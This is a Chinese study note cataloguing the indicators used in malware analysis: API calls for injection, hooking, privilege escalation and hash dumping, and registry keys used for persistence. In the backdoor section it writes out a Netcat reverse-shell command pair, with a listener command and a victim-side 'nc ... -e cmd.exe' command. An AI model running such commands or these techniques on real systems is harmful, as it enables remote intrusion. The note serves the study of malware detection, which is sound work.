摘要:
本篇文章主要总结恶意软件常用特征分析知识。
在恶意软件分析过程中,需要根据样本的一些特征来猜测或判断该样本的行为特征,其中包括字符串提取特征、导入函数特征等。
本篇文章将常见的恶意软件根据它们的行为或原理分门别类,对每一类的恶意软件的特征进行了详细的阐述。
需要注意的是,本文中所提到的特征并不是全面的,只是常用的或基本的,在实际分析的过程中,往往情况会更加复杂。
一、恶意代码启动:
1、下载器:
(1)定义:从互联网上下载其它的恶意代码,然后在本地系统中运行。
(2)特征:通常会与漏洞利用打包在一起、URLDownloadtoFileA、WinExec
2、启动器(加载器):
(1)定义:可执行文件,用来安装立即运行或者将来秘密执行的恶意代码。用这种方式来隐藏恶意代码。
(2)特征:
- 通常在资源节包含一个它要加载的恶意代码,而不是正常程序在资源节存储的图标、图片、菜单、字符串之类的信息。
- 如果资源节被压缩或者加密,就会看到有资源操作API函数,如FindResource、LoadResource、SizeofResource等。
- 启动器通常需要以管理员权限运行,所以也会包含提权操作的代码。因此如果有提权操作,可以注意一下是否是启动器。
3、进程注入:将代码注入到一个正在运行的进程中,可以隐藏恶意代码行为、绕过一些基于主机的防火墙和针对进程的安全机制。
API特征:通常会有VirtualAllocEx、WriteProcessMemory(分配内存空间,并在分配的空间中写数据)
(1)DLL注入:强迫一个远程进程加载恶意DLL程序
- API特征:CreateToolhelp32Snapshot、Process32First、Process32Next(查找进程列表中的目标进程,用启动器提取目标进程PID)、OpenProcess(获取目标进程的句柄)、CreateRemoteThread(让启动器恶意代码在远程进程中创建并运行一个新的线程)、VirtualAllocEx、WriteProcessMemory(为恶意动态库的名字字符串创建内存空间,并将字符串写入这个空间)
- 分析时要查找找到包含恶意DLL名字和受害进程名字的字符串
(2)直接注入:
- API特征:VirtualAllocEx、WriteProcessMemory(分配内存空间并写入远程线程使用的数据、分配内存空间并且写入远程线程代码)CreateRemoteThread(调用包含远程线程代码的位置lpStartAddress和数据lpParameter)
- shellcode
4、进程替换:进程替换可以伪装成受害进程,很好的绕过防火墙和入侵防御系统,从而逃避检测
API特征:CreateProcess(CREATE_SUSPENDED)、ZwUnmapViewOfSection、VirtualAllocEx、WriteProcessMemory、SetThreadContext、ResumeThread
5、钩子:钩子是系统消息处理机制中的一个点,可以用来监听事件,例如消息,鼠标动作、击键等。恶意代码的应用比如击键记录器、远程Windows挂钩等。
两种类型:
- 本地钩子被用来观察和操纵发往进程内部的消息;
- 远程钩子被用来观察和操纵发往一个远程进程的消息(系统中的另一个进程)
(1)特征:
- API:SetWindowsHookEx(idHoook、lpfn、hMod、dwThreadId)、CallNextHookEx、UnhookWindowsHookEx
- 钩子例程:WH_KEYBOARD、WH_KEYBOARD_LL、WH_MOUSE、WH_CBT等不常用的消息(避开入侵防御系统)
(2)Detours库修改二进制程序:如特洛伊木马化程序,特征是PE文件创建.detour 段
6、APC注入:(内核APC、用户APC)
- 用户APC:QueueUserAPC(pfnAPC、hThread、dwData)
- 内核APC:KeInitializeApc、KeInsertQueueApc
二、后门(backdoor):
1、定义:能让攻击者远程访问一个受害的机器。互联网通信方法通常利用80端口,使用HTTP协议。
2、分类:
(1)反向shell(可以是一个单独的恶意代码,也可以是后门程序中的组件)
A、Netcat反向shell:
- 远程机器使用命令nc -l -p 80
- 受害机器使用命令nc listener_ip 80 -e cmd. exe
B、Windows反向shell:
- 基础方法:调用CreateProcess,修改它的STARTUPINFO结构
- 多线程技术:CreateThread、CreatePipe
(2)远程控制工具
(3)僵尸网络
A、蠕虫
B、分布式拒绝服务(DDoS):例如:木马
三、登录凭证窃密器:
1、定义:窃取登录凭证
2、分类:
(1)GINA拦截:
A、等待用户登录以窃取
B、特征:
- 注册表项:HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\GinaDLL
- GINA在msgina.dll中实现
- 如果分析的一个DLL有许多包含前缀Wlx的导出函数,那么它基本上就是一个GINA拦截器
(2)口令哈希转储:转储Windows系统中存放信息的程序,例如密码哈希值,程序直接使用,或对其进行离线破解,或利用他们执行Pass-the-Hash(PSH)攻击。
- 很多以前的恶意代码都会使用Pwdump和Pass-the-Hash(PSH)工具包,但是现在很多也会用自己编译的专有版本,以逃过反病毒软件对标准版本特征码的识别。
- pwdump程序及其变种的导出函数默认是GetHash,但很有可能会被更改名字。导出函数通常会多次调用GetProcAddress。
- SamIConnect——连接SAM(安全账户管理器)
- SamIGetPrivateData——提取哈希
- SystemFunction025和SystemFunction027——解密哈希
- NlpGetPrimaryCredential——转储NT和LM哈希
(3)击键记录:(之前提到的钩子的一个应用)
A、基于内核的击键记录器:
- 用户模式下的应用程序很难探测到;
- 经常作为Rootkit的一部分,并且它们作为一个键盘驱动绕过用户空间应用程序和保护。
B、用户空间的击键记录器:
- 通常使用SetWindowsHookEx安装挂钩;
- 通常使用GetAsyncKeyState和GetForegroundWindow不断地轮询按键的状态;
- 对于有些恶意代码,也可以通过提取字符串来判断。例如如果想要记录所有按键,就必须有一种如PageDown的字符串出现。当然,恶意程序可以被提串是前提。
四、常见恶意代码的存活机制:
1、修改Windows注册表:
- 安装自己:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- 让恶意的DLL得到加载:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Svchost
- 挂钩一个特殊的Winlogon事件:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon\
- 与其他进程混淆,且伪装成更像标准的服务:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Svchost
- 服务通常被定义在:HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\ServiceName
2、特洛伊木马化系统二进制文件(前面提到的Detours库的应用):
- 恶意代码修改系统正常情况下最常用的二进制文件,当这个二进制文件下次运行或加载时,就会强制运行恶意代码。一般修改DLL文件比较常见。
- 识别特征:拖到IDA Pro中看代码,特洛伊木马化的DLL文件通常会跳转(jmp)到其他位置,执行完其他代码后在跳转到原来的位置。一般会用pusha和popa指令结合来恢复到之前系统的正常状态。
3、DLL加载顺序劫持:
Windows加载DLL的顺序是:(Windows XP)
1)加载应用程序的目录;
2)当前目录;
3)Windows 系统目录。使用GetSystemDirectory 函数获取路径;
4)16位子系统的系统目录;
5)Windows 目录。使用GetWindowsDirectory 函数获取路径;
6)PATH 环境变量中列出的目录。
五、提权:
1、开启SeDebugPrivilege权限。
2、特征:OpenProcessToken、LookupPrivilegeValueA、AdjustTokenPrivileges
六、隐藏:
1、常用来隐藏恶意代码的踪迹的工具是Rootkit。
2、两种形式:
- 通过修改操作系统内部的功能来工作。
- 修改用户态的应用程序,大部分会选择修改内核。运行在内核层的Rootkit比用户层更容易破坏操作系统。
参考文献:《恶意代码分析实战》